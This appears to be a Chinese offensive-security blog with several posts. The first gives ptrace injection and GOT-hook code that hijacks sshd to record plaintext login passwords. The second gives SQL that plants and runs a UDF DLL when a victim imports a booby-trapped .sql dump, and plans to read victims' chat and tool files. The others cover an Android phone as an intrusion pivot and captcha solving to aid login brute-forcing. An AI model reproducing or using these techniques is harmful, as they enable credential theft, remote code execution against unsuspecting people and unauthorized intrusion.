分析并HOOK SSHD来劫持密码

前言

项目地址:sshdHooker,开箱即用,但是只支持x64。

当我们通过洞,拿到一台linux机器的最高权限的时候,我们基本都想扩大战果。然而和windows不同,linux的加密方式除了某些特别远古版本的系统,大部分系统加密强度都是很高的,而且又没有类似lsass这样的东西甚至会把明文密码记录内存,也没有NTLM这种好用的通用token,所以基本都是使用一些特殊的方式记录密码。例如PAM,就比如我这个文章:一般路过PAM后门 / SSH密码记录

改PAM有个很大的过程,那就是需要编译和替换文件,这个过程中,会遇到一个很大的问题,那就是编译版本和经常性的爆炸。那么问题来了,我们都拿到root了,就没有一种,简单粗暴的方法嘛?

在上面文章中,我们可以看到,使用strace监控所有文件调用,我们可以成功的在栈指行过程中记录到我们收到的密码明文。使用strace的优点是比如重编译PAM和替换文件,直接进行一个读取对于我们来说爆炸的几率实在是太低了。唯一的缺点就是直接用strace,生成的数据量实在是太多了,而且我们也没办法找到登陆的密码是否是我们想要的密码。

那么有没有什么办法,用类似strace的形式,读取内存并且过滤出我们想要的东西呢?这就是我们今天讨论的内容。

流程分析

先总结一下我们有什么,strace,是使用ptrace直接记录系统调用的,基本就是ptrace监听attach。所以我们的目标也很明确,就是使用ptrace整一个花活。

最开始的设想,是整一个监控栈指行的地方,直接定位到相关地址,然后检查栈的内容(传入的参数),转念一想,这不就是HOOK一个地址,然后把参数跳转到我们的函数,然后去检查传入内容,最后再把原始数据丢回原函数(地址)

正好,我们手头里之前研究过了一个东西,那就是linux下的进程注入器:Linux下进程隐藏 二 -- 进程注入(So注入)

可以注入到内存之后,就要来一个经典问题:HOOK哪里?怎么HOOK?

HOOK哪里-PAM调用机制

一般路过PAM后门 / SSH密码记录 文章可以看到,我们的unix_pam.so是用来进行密码验证的模块

// linux-pam/modules/pam_unix/pam_unix_auth.c
int
pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{
    unsigned long long ctrl;
    int retval, *ret_data = NULL;
    const char *name;
    const char *p;

    D(("called."));

    /* .....省略... */

    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;

    AUTH_RETURN;
}

然而通过观察目录下其他文件,我们可以发现,其他模块也有 pam_sm_authenticate这个函数。该项目属于libpam,是sshd一个下属的模块之一,用于控制PAM模块。

我们观察了一下该目录下的其他模块,也都有 pam_sm_authenticate 之类的函数,那么我们大胆猜测一下,会不会是sshd的操作流程是

  • sshd启动
  • 加载libpam
  • libpam搜索目录下所有文件
  • libpam 动态加载pam_sm_authenticate
  • pam模块导入成功

猜想没有用,还是得看源码是怎么写的。于是乎,直接在项目进行搜索。我们成功在pam_handle下发现了相关代码

int _pam_add_handler(pam_handle_t *pamh
             , int handler_type, int other, int stack_level, int type
             , int *actions, const char *mod_path
             , int argc, char **argv, int argvlen)
{
    struct loaded_module *mod = NULL;
    struct handler **handler_p;
    struct handler **handler_p2;
    struct handlers *the_handlers;
    const char *sym, *sym2;
    char *mod_full_path;
    servicefn func, func2;
    int mod_type = PAM_MT_FAULTY_MOD;

    D(("called."));
    IF_NO_PAMH("_pam_add_handler",pamh,PAM_SYSTEM_ERR);

    D(("_pam_add_handler: adding type %d, handler_type %d, module `%s'",
    type, handler_type, mod_path));

    if ((handler_type == PAM_HT_MODULE || handler_type == PAM_HT_SILENT_MODULE) &&
    mod_path != NULL) {
    if (mod_path[0] == '/') {
        mod = _pam_load_module(pamh, mod_path, handler_type);
    } else if (asprintf(&mod_full_path, "%s%s",
                 DEFAULT_MODULE_PATH, mod_path) >= 0) {
        mod = _pam_load_module(pamh, mod_full_path, handler_type);
        _pam_drop(mod_full_path);
    } else {
        pam_syslog(pamh, LOG_CRIT, "cannot malloc full mod path");
        return PAM_ABORT;
    }

    if (mod == NULL) {
        /* if we get here with NULL it means allocation error */
        return PAM_ABORT;
    }

    mod_type = mod->type;
    }

    if (mod_path == NULL)
    mod_path = UNKNOWN_MODULE;

    /*
     * At this point 'mod' points to the stored/loaded module.
     */

    /* Now define the handler(s) based on mod->dlhandle and type */

    /* decide which list of handlers to use */
    the_handlers = (other) ? &pamh->handlers.other : &pamh->handlers.conf;

    handler_p = handler_p2 = NULL;
    func = func2 = NULL;
    sym2 = NULL;

    /* point handler_p's at the root addresses of the function stacks */
    switch (type) {
    case PAM_T_AUTH:
    handler_p = &the_handlers->authenticate;
    sym = "pam_sm_authenticate";
    handler_p2 = &the_handlers->setcred;
    sym2 = "pam_sm_setcred";
    break;
    case PAM_T_SESS:
    handler_p = &the_handlers->open_session;
    sym = "pam_sm_open_session";
    handler_p2 = &the_handlers->close_session;
    sym2 = "pam_sm_close_session";
    break;
    case PAM_T_ACCT:
    handler_p = &the_handlers->acct_mgmt;
    sym = "pam_sm_acct_mgmt";
    break;
    case PAM_T_PASS:
    handler_p = &the_handlers->chauthtok;
    sym = "pam_sm_chauthtok";
    break;
    default:
    /* Illegal module type */
    D(("_pam_add_handler: illegal module type %d", type));
    return PAM_ABORT;
    }

    /* are the modules reliable? */
    if (mod_type != PAM_MT_DYNAMIC_MOD &&
     mod_type != PAM_MT_FAULTY_MOD) {
    D(("_pam_add_handlers: illegal module library type; %d", mod_type));
    pam_syslog(pamh, LOG_ERR,
            "internal error: module library type not known: %s;%d",
            sym, mod_type);
    return PAM_ABORT;
    }

    /* now identify this module's functions - for non-faulty modules */

    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func = _pam_dlsym(mod->dl_handle, sym)) ) {
    pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym);
    }
    if (sym2) {
    if ((mod_type == PAM_MT_DYNAMIC_MOD) &&
        !(func2 = _pam_dlsym(mod->dl_handle, sym2)) ) {
        pam_syslog(pamh, LOG_ERR, "unable to resolve symbol: %s", sym2);
    }
    }
/* ..... 后面省略*/

我们直接看到_pam_dlsym_pam_dlopen,基本可以证明我们的猜想。

就是libpam是通过dlopen和dlsym动态加载的。我们只要hook了dlopen和dlsym,判断是否是pam_unix.so的不就行了?

(然而以上只是理论可行,实际上注入的时候不知道为什么老是HOOK不到dlopen的GOT表,出了一点问题,不知道为什么,百思不得姐,最后还是使用了其他方式,但是原理还是一样的,这个后面再说)

怎么HOOK?-GOT HOOK

最最最简单的办法是,inline hook,直接找到API地址,然后修改他们开头的字节,直接jmp到我们的函数地址,然后等我们函数执行完的时候再还原。

然而有个问题是,这是windows api的修改方法,我们这个是linux,修改的是外部so加载的地址。所以我们得转变个思路:我们是如何调用一个所加载so的导出函数地址的?这就涉及到了另一个东西,GOT表。大概意思就是这个表中加载的所有so的导出地址,有函数名->对应映射基地址等,只需要把这个表所对应的导出地址修改成我们函数的地址即可。

好,二话不说,github找段代码: inject_got,把这玩意编译成so文件拿去注入就OK了

现在我们有能力直接HOOK我们想要的函数了。

验证猜想

既然要素齐全,比起先上手写代码,我们可以先试试,最快速的验证方式是直接GDB打个断点,然后使用SSH连接,看看我们能否hook到dlopen就知道了。然后我们就照做了。

1.png

可以看到,我们用gdb直接载入sshd之后,用b给dlopen下了一个断点。结果并没有什么卯月,还给我们了弹了两个process 1401834 is executing new program: /usr/sbin/sshd 新子进程创建的提示。大胆猜测,会不会是这两个子进程是分开用来处理ssh登录请求的呢?我们真实要注入的地址其实是这些子进程?

我们通过ssh脸上自己之后,使用pstree来查看子进程。

2.png

可以看到sshd之后又跟了两个子进程,我们挨个挂载。直接b 跟进子进程

3.png

可以发现,并没有什么卯月,然而实际上,可能只是我们注入的时间晚了的缘故,在我们注入之前,这些函数都调用完了。还是继续回到strace来看看这些到底是如何做到的。

首先我们先看子进程是如何创建的。我们用strace记录了sshd进程再ssh接收到登录并且密码输入正确的时候(我截图的这个stree日志是之前记录的,那时候sshd的pid是9731)
4.png

在第一个子进程出现的时候,sshd调用了clone调用

9731  clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD <unfinished ...>
10242 set_robust_list(0x7f5ee78fbbe0, 24 <unfinished ...>
9731  <... clone resumed>, child_tidptr=0x7f5ee78fbbd0) = 10242

创建了子进程10242之后,clone返回了子进程的pid。

之后再有子进程调用clone,创建了子子进程10249

10242 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc005b0dbd0) = 10249

符合之前pstree看到的结果。

然后再看我们的pam模块是怎么加载的,直接搜索.so相关的
5.png

可以看到,进行so相关操作的是由第二个子进程操作处理的,所以我们重点目光看向那就行。

监控子进程

既然每个ssh连接是由不同的子进程处理的,那么我们只注入sshd进程肯定是不行的了。因为子进程才是关键,根据strace结果,我们知道系统是调用了clone,并且还能拿到结果,那么就简单了,直接使用pstrace,拦截syscall调用就行,根据syscall调用表,我们知道clone的调用号是56。

大概伪代码如下

    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        pthread_t id;
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);// 获得调用号值
        if(num == 56){ // 是调用了clone
            printf("system call num = %ld\n", num);
            ptrace_getregs( target_pid, &regs ); // 获得调用结果
            printf("Process maybe = %ld \n", regs.rax); 
            subprocess = regs.rax;
            // do_something(subprocess);
        }
    }

控制注入顺序

然而,知晓了clone创建的时间,还是不能直接HOOK进去修改dlopen。因为这时候注入进去,会发生一个问题,我们以上的那些模块操作都是在libpam中进行的,而我们这个进程并不是直接在子进程中的,所以如果我们直接使用上述的inject_got注入进去,会没办法修改到libpam中的dlopen。

直接看代码,原始代码inject_got中的代码应该是这样

/* .... */
char buf[MAX_BUF_SIZE] = {0}; 
int err = get_exe_name(buf, sizeof(buf));
void* base_addr = get_module_base(getpid(),buf); // 注意这个buf,这个buf是读取自身进程
/* .... */

其中get_module_base的作用是从/prof/pid/maps里读取模块的基地址,然后再载入内存ELF进行GOT表查找的,这里原始函数查找的是主模块(自身进程)的基地址,即便修改了主模块的GOT,libpam里的是不会照着主模块的GOT进行执行的,必须修改到libpam的GOT表。

6.png

但是根据上述所说,直接clone的时候就注入,libpam还没有载入到内存中,maps里就找不到基地址,修改GOT就更无从谈起,因此我们需要一个函数来判断libpam的加载,最简单的办法就是HOOK openat调用号进行判断。我们在我们原始的注入程序中加入以下判断

int WaitforLibPAM(pid_t target_pid){
    struct user_regs_struct regs;
    if ( ptrace_attach( target_pid ) == -1 ){

        printf("WaitforLibPAM attach Failed\n" );
        return -1;
    }
    if ( ptrace_getregs( target_pid, &regs ) == -1 ){
        printf("-- Getregs Error\n" );
        return -1;
    }
    //ptrace_continue( target_pid );
    long num,bit=0,finded = 0;
    char *path = malloc(255);
    char libsystemd[] = "common-session";
    while(1){
        ptrace( PTRACE_SYSCALL, target_pid, NULL, 0  );
        waitpid( target_pid, NULL, WUNTRACED );
        num = ptrace(PTRACE_PEEKUSER, target_pid, ORIG_RAX * 8, NULL);
            //printf("++ SubProcess: system call num = %ld\n", num);
        if(num ==257){
            ptrace_getregs( target_pid, &regs ) ;
            printf("++ SubProcess: rsi :%p\n",regs.rsi);
            //ptrace_writedata(target_pid,regs.rip,local_code_ptr,code_length );
            //ptrace_continue( target_pid );
            ptrace_readdata(target_pid,(void *)regs.rsi,path,255);
            printf("++ SubProcess:openat path :%s\n",path);
            if(strstr(path,libsystemd)){
                ptrace_detach(target_pid);
                // do_inject_so(target_pid);
                break;
            }
        }
    }
}

通过strace判断,打开common-session文件在打开libpam.so文件之后,因此只要判断openat打开了common-session就能知道libpam已经被加载了。

然后把inject_got中的代码修改一下

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1");

这样后续的修改GOT就会是修改libpam的GOT了

过程控制-读取密码

回到上面的pam_unix_auth.c,我们知道了所有的函数都会调用pam_sm_authenticate,那么我们如何知道其中的密码,和如何判断密码正确?我们先看密码如何获取

直接看到pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)的第一个参数pamh,它是一个pam_handle_t结构如下,

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
    struct pam_data *data;
    struct pam_environ *env;      /* structure to maintain environment list */
    struct _pam_fail_delay fail_delay;   /* helper function for easy delays */
    struct pam_xauth_data xauth;        /* auth info for X display */
    struct service handlers;
    struct _pam_former_state former;  /* library state - support for
                     event driven applications */
    const char *mod_name;    /* Name of the module currently executed */
    int mod_argc;               /* Number of module arguments */
    char **mod_argv;            /* module arguments */
    int choice;            /* Which function we call from the module */

#ifdef HAVE_LIBAUDIT
    int audit_state;             /* keep track of reported audit messages */
#endif
    int authtok_verified;
    char *confdir;
};

很多看不懂的结构体甚至还有一个ifdef是不是?肯定有人会问了,"这ifdef,说明这玩意的结构长度不定长,它函数传的又是指针,我们怎么知道它具体偏移是多少如果传错了咋办呀?"

其实,我们真正需要的只有authtokuser,这两个成员地址,这两个偏移量是始终固定的,后续的成员要不要都无所谓,所以在我们的inject_got中只需要定义成如下

struct pam_handle {
    char *authtok;
    unsigned caller_is;
    struct pam_conv *pam_conversation;
    char *oldauthtok;
    char *prompt;                /* for use by pam_get_user() */
    char *service_name;
    char *user;
    char *rhost;
    char *ruser;
    char *tty;
    char *xdisplay;
    char *authtok_type;          /* PAM_AUTHTOK_TYPE */
};

即可,反正传给我们的是指针,我们根据偏移读取到了账号和密码再把指针原封不动的传给原函数就行。

能获取到密码之后,我们就需要判断是如何验证密码了,继续看到unic_pam_auth.c,直接看到函数最后两行

retval = _unix_verify_password(pamh, name, p, ctrl);
    name = p = NULL;
    AUTH_RETURN;

通过理解代码,_unix_verify_password就是用来验证账号密码的,如果账号密码正确,retval返回值就是PAM_SUCCESS(定义为0),那么后续呢?我们直接看AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

可以看到retval就直接被返回回去了。所有条件达成。
我们只需要做一个HOOK函数

int my_pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{

    int ret = old_pam_sm_authenticate(pamh,module_data_name,data,cleanup);
    if(ret==0){
        printf("login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        // do something
    }
    return ret;
}

组合-理想

通过组合所有条件,我们手里有一个注入器,一个so(inject_got),我们的流程基本就是。

  • 注入器注入SSHD
  • 注入器HOOK系统调用clone,判断子进程出现
  • 注入器注入子进程
  • 注入器HOOK子进程OPENAT,判断libpam是否装载完毕
  • libpam装载完毕,注入so文件(inject_got)
  • inject_got查找libpam中dlopen和dlsym的got并修改为my_dlopen和my_dlsym
  • 等待执行dlopen时,跳转到my_dlopen
  • my_dlopen 记录下pam_unix.so 的 handle 地址,之后正常指行dlopen
  • 等待指行dlsym时候,跳转到my_dlsym
  • my_dlsym判断加载的请求是否是pam_sm_authenticate
  • my_dlsym判断加载的handle是否是pam_unix.so
  • my_dlsym所有条件符合,把函数地址修改成my_pam_sm_authenticate
  • 等待原本pam_unix.so中的pam_sm_authenticate将被执行时,跳转到my_pam_sm_authenticate
  • my_pam_sm_authenticate记录下用户密码,跳转到原始pam_sm_authenticate
  • 判断原始pam_sm_authenticate是否为PAM_SUCCESS=0,是则代表密码正确,记录
  • 密码记录完成

组合-现实

这是理想情况,然而可恶的是,tmd不知道为什么inject_so老是无法修改dlopen的,倒是能找到dlsym的GOT表并修改,就很蛋疼,光有dlsym的函数地址也不是不行,但是问题就在于,调用pam_sm_authenticate的不止一个so,我不知道哪个handle是属于pam_unix.so的pam_sm_authenticate,不同的so文件中pam_sm_authenticate的返回值代表的也不一样。

本来想着能不能通过dlsym的handle,逆回去看看handle所对应的路径,然而看了下相关源码(linux就是这点好,可以遇事不决看源码),并没有相关操作。于是乎寄,我们只能找到另外HOOK点。

我们再次回到_unix_verify_password结束后流程中来,为什么直接看到这之后?因为这之前的代码是无法判断密码是否正确,所以哪怕HOOK了也没用。_unix_verify_password后的操作只有一个,那就是AUTH_RETURN

#define AUTH_RETURN                        \
do {                                    \
    D(("recording return code for next time [%d]",        \
                retval));            \
    *ret_data = retval;                    \
    pam_set_data(pamh, "unix_setcred_return",        \
             (void *) ret_data, setcred_free);    \
    D(("done. [%s]", pam_strerror(pamh, retval)));        \
    return retval;                        \
} while (0)

我们把木管看向pam_set_data,又有独一无二的字符串(指unix_setcred_return)让我们确认是属于位于这里的pam_set_data,又有先前_unix_verify_password运行后的结果的值(指*ret_data = retval;

于是乎,我们很容易的就可以把目光转移到这个函数上来,这个函数在pam_unix.so中,所以我们要把之前的基地址从libpam改为pam_unix.so

void* base_addr = get_module_base(getpid(), "/usr/lib/x86_64-linux-gnu/security/pam_unix.so");

然后,我们在做一个hook函数

int my_pam_set_data(struct pam_handle *pamh, const char *module_data_name, void *data,void* cleanup)
{

        char unix_setcred_return[] = "unix_setcred_return";
        if(strstr(unix_setcred_return,module_data_name)){
        FILE *fp = NULL;
        fp = fopen("/tmp/set_data.txt", "a+");
        void * test = malloc(sizeof(int));
        fprintf(fp,"pam module_data_name: %s %d\n",module_data_name,*(int *)data);
        int ret = *(int*)data;
        if(ret == 0){
                fprintf(fp,"login successful username is : %s    password is: %s\n",pamh->user,pamh->authtok);
        }
        fclose(fp);
        } 
        //if(strstr(module_data_name,unix_setcred_return)){
        //while(1){} }
    return old_pam_set_data(pamh,module_data_name,data,cleanup);
}

这样就大功告成辣!

Tags: hook, linux, 劫持, sshd, 二进制

mysql-.sql文件钓鱼上线

前言

之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。

为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。

具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。

然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题

  • mysql用户权限问题
  • mysql插件路径问题
  • 写出时候的动态路径问题
  • mysql插件路径权限问题

前面三个都好解决,最后一个是真的无解,所以遇到那些带secure开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。

对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual拼接一下就行。

最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepareexecute这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合

代码

直接上代码

SET @BasePath = (select @@basedir as basePath from dual) ; 
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();

写出dll后用udf的方式上线就行

一些解决办法

有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?

我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg

进阶

其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。

但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx下, 再此当中,只有用户名是不固定的?

有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?

甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?

~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~

通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID

好的,要素又齐全了。

可以通过C:\Windows\PFRO.log大概率获取到电脑使用者的用户名。

那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()这类函数,不就能成了?

未完待续(哪天心情好了补代码)

Tags: mysql, 钓鱼, udf

安卓网络中继中的一些小操作

前言

考虑整一个近源网络跳板,平均下来便宜+简单的实现就是弄一个安卓手机了,4G卡用来控制手机,然后用WIFI接入,再选择是否通过4G卡转发。感觉可以试着整一个,毕竟自带4G上网模块又有wifi模块不考虑性能低端机成本又低
稍微看了下第一个问题就是安卓默认机制是不能同时使用wifi和4G。
第二个是得考虑如何转发emmmmm
看了一下,其实也不需要魔改安卓系统,倒是可以用命令行进行一些操作。具体操作基本就是insmod加载wifi驱动然后启用网卡然后用命令行连接ap然后写路由就行
大概有了点思路,就弄一个openvpn,作为服务写到安卓系统里默认启动,然后再做一个c2控制器,用来控制连接wifi,断开wifi等以及修改openvpn路由等操作,然后这个c2控制器永远走4G流量,必要的时候可以通过c2控制器修改路由表进行桥接wifi流量啊,转发wifi流量啊或者让指定程序只走wifi流量这样子。。大概就能简单又轻松的实现想要的功能了。
现在的问题是,有什么机器是,便宜(<=100)又电池(>=3500毫安)又大又能解锁(虽然我觉得低端机大多数都是直接拿exp就能拿root的)的

更新

后面思考了一下,其实并不一定需要内置openvpn,其实只要内置一个标准的tty给反弹出来,需要的时候根据需求起动相关服务就行。本篇文章就记录下当你有一个安卓shell时候的一些小操作。

openvpn

第一步,既然是作为跳板,其实直接部署一个frp或者natsocks直接转发出一个socks5出来是最最最简单的状态,并且这些东西都是用golang编写的,直接跨平台交叉编译arm版本的frp或者natsocks就行。简单粗暴。但是考虑到内网实战环境,比如一些路由、数据嗅探(这个是主要的)、桥接等等七七八八的问题。所以打算整一套openvpn先。

为了后续方便,我们先安装一个termux先。termux自带了openvpn,理论上可以直接pkg install openvpn,然后我看它给的单独那个二进制有点问题。起不来,还阉割了许多东西。所以直接进行一个openvpn的编译就行。

正巧,termux能很方便的给我们整出一个完整的编译链。所以接下来的调试我们都直接用termux进行,然而在电脑上操作手机都是直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码

resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l

注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。

因为有时候adb的默认权限是shell,会引发一些权限问题。如图
1.jpg

之后在termux中的shell里,我们只需要

pkg install clang
pkg install cmake

安装基础环境,之后直接去github下载openvpn,github地址:https://github.com/OpenVPN/openvpn

切换成root进行编译,因为安卓的一些读写机制,/sdcard这类地方是没办法设置权限的,所以尽量把下载的数据放到/tmp或者放到termux目录(/data/data/com.termux/files/home)下,这类地方才可以设置权限。

给configure设置u+x权限,然后执行后。会出现以下各种奇奇怪怪的问题,首先就是缺少依赖
2.jpg
这种直接使用pkg安装就行,比如如图的lzo,我们可以用pkg install liblzo-dev解决。

再或者就是遇到这种:
3.jpg
直接在编译后面加上它的--disable-xxxxx就行,总之它说啥就是啥。加上这些之后,基本configure就会通过生成MakeFile文件啦。

4.jpg

之后自信满满的make,就会发现,啊
5.jpg
所以直接运行pkg install automake,之后使用automake就能编译出这些依赖。

6.jpg

之后使用make等待编译成功就行了。然后就可以使用make install了。这时候你就会发现一些/或者/usr这些目录是没有办法写的,因为挂载的时候就没有相关权限。这时候我们就需要运行df -h,查看相关挂载,并使用mount -o rw,remount /来对相关目录就行重新读写挂载

MakeFile默认的安装目录是/usr/local,我这挂载点是/,所以直接运行mount -o rw,remount /就行了。如果要修改地址就自己修改脚本修改到其他地址即可。

然后你就会发现openvpn安装成功了。

7.jpg

直接使用easy-rsa,直接去github上下载,直接下载release,然后chmod下就能使用了。之后直接参考:[OpenVPN服务部署
][8]

8.jpg

生成完证书,再根据需要写一下配置文件,最后运行 openvpn --config /your_conf_path.conf就可以跑起来啦

9.jpg

配置wifi/4g/otg共通

这章才是本篇的重头戏,毕竟openvpn配不来无所谓,实在不行起个frp也是一样凑合的打,不一定要openvpn。但是不能wifi和4g同时上网那可是不行的,不然遇到奇怪的网络环境甚至是不出网的网络环境,我们的这个跳板也就基本白费了。

懒得更新了,咕咕咕

配置动态路由

配置开机自启动

adb切换usb传输模式

进阶:path 添加模拟hid设备支持

这章可能会咕咕咕

Tags: 安卓

基于验证码识别的机器学习项目captcha_trainer操作实践

前言

很多时候,外网打点,资产就那么点,社工钓鱼又钓不进去,那么怎么办呢?这时候只能传统艺能爆破来解决问题了。

但是,抛开IP先不说,现在登录多多少少都会有加上验证码用于防止爆破,但是这种东西肯定不能阻挡我们的脚步。所以最简单的办法就是整个自动用于验证码识别的玩意。下至OCR上至机器学习乃至购买云打码。因为我们穷云服务肯定整不起,OCR识别率又堪忧,所以最简单的办法就是去github整一个。

说明

本篇就是一个踩坑文章(然而作者的项目写的非常不错,并没有遇到什么坑hhhh),用于记录,没有什么技术含量。我才不会说我是实在想不出写什么东西才水一篇文章的呢,哼~

最近快毕业了,什么毕业论文啊个人音乐会啊毕业音乐会啊专场啊以及最讨厌的查缺补漏(指舞蹈重修)。虽然说这些事并不麻烦,但是确实都是事,每天就这么磨洋工一点一点的磨磨唧唧但是也确实在解决。导致我用一般只日站,很少沉下心来写这些完整的学习报告了。虽然说日站过程中也会遇到一些新鲜的东西,例如这次就遇到很多K8s啊,云安全啊但是这些并没有完整的,全面的研究,导致博客一直不知道写啥。所以就搞了水了一些实践报告,网络上也有他人的实践记录。但是我会尽量把所有的坑给列出来。

话不多说,开整。

开整

既然不是自己写项目而是用东西,那肯定是怎么简单怎么来,去年还是前年我用过
https://github.com/nickliqian/cnn_captcha 项目跑过训练,效果确实不错,然而截至至今(2022年4月22日),该项目大部分依赖已经爆炸,遂直接放弃

最后还是选择使用captcha_trainer 项目来使用。凑巧的是,作者也在FreeBuf上发布过文章,详细说明了如何使用该项目,详情可以看这里

验证码识别新革命:源码+通用识别模型

然而作者对于Linux部分写的很详细,对于Windows部分却是一笔带过。刚好我用的是windows,就顺带记录了。

话不多说,开整。

安装CUDA

首先是下载项目,直接git clone就行,重点是第二部

目前为止,如果你是使用CPU训练,那么可以跳过下面这一步骤,因为源码已经加入代码默认支持CPU了,不需要进行过多操作,如果是GPU,就需要安装CUDA和CuDnn。直接根据文章,从官网下载

下载完以上上面,首先得先安装CUDA,安装完毕之后,解压CUDNN,然后根据cudnn/install-guide
找到CUDA安装目录,这里假设CUDA安装目录是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
复制 bin\cudnn*.dllC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\bin.复制 include\cudnn*.hC:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\include.复制 lib\x64\cudnn*.lib 到 C:Program FilesNVIDIA GPU Computing ToolkitCUDAvx.xlibx64.`

之后把CUDA目录,也就是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\添加到PATH环境变量中,注意不带bin。

然后还得安装zlib运行库,不然会出现Could not locate zlibwapi.dll. Please make sure it is in your library path,也是根据上面的文档,从ZLIB DLL下载压缩包,把里面的各种.lib文件和.dll文件全部一股脑丢PATH下,你可以选择创建一个PATH,反正我是全部直接丢到system32下。通过以上这些,CUDA就安装好了

安装本体

我用的是python3.10.3,实际上是可以直接使用的

回到我们项目文件,我们可以使用作者的venv,也可以直接莽上去,开干。我的建议是用一些pyvenv。

直接python -m pip install pyvenv。然后记得使用cmd,执行cd venv/ && Scripts/active.bat,看到前面出现(venv)就说明环境载入成功了。

然后就是修改requirements.txt文件,把最后的tf-nightly-gpu==2.8.0.dev20211021改成tf-nightly-gpu即可。

如果是用CPU渲染,就直接安装tf-nightly就行。

记得使用pip安装的时候,务必使用代理,可以用自带--proxy命令指明socks5代理或者像我一样用Proxifier直接把pipy.org加入代理规则里。

安装完requirements.txt之后,直接运行python app.py,还会出现一些依赖错误比如pillow啊这些的,剩下的基本就是缺啥装啥就好了。

之后运行python app.py

QQ截图20220423004331.png

就能打开界面。

训练

对于开源项目来说,我们可以直接把源码部分扒出来,根据作者的要求,只需要生成格式为 验证码原始内容_md5.png 类型的图片放置到目录下就行。我们直接随手谷歌找了一个python验证码生成的代码生成一些数据试试。

import os
import random
import io
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import hashlib
def random_color():
    c1 = random.randint(0, 255)
    c2 = random.randint(0, 255)
    c3 = random.randint(0, 255)
    return c1, c2, c3
def generate_picture(width=120, height=35):
    image = Image.new('RGB', (width, height), random_color())
    return image
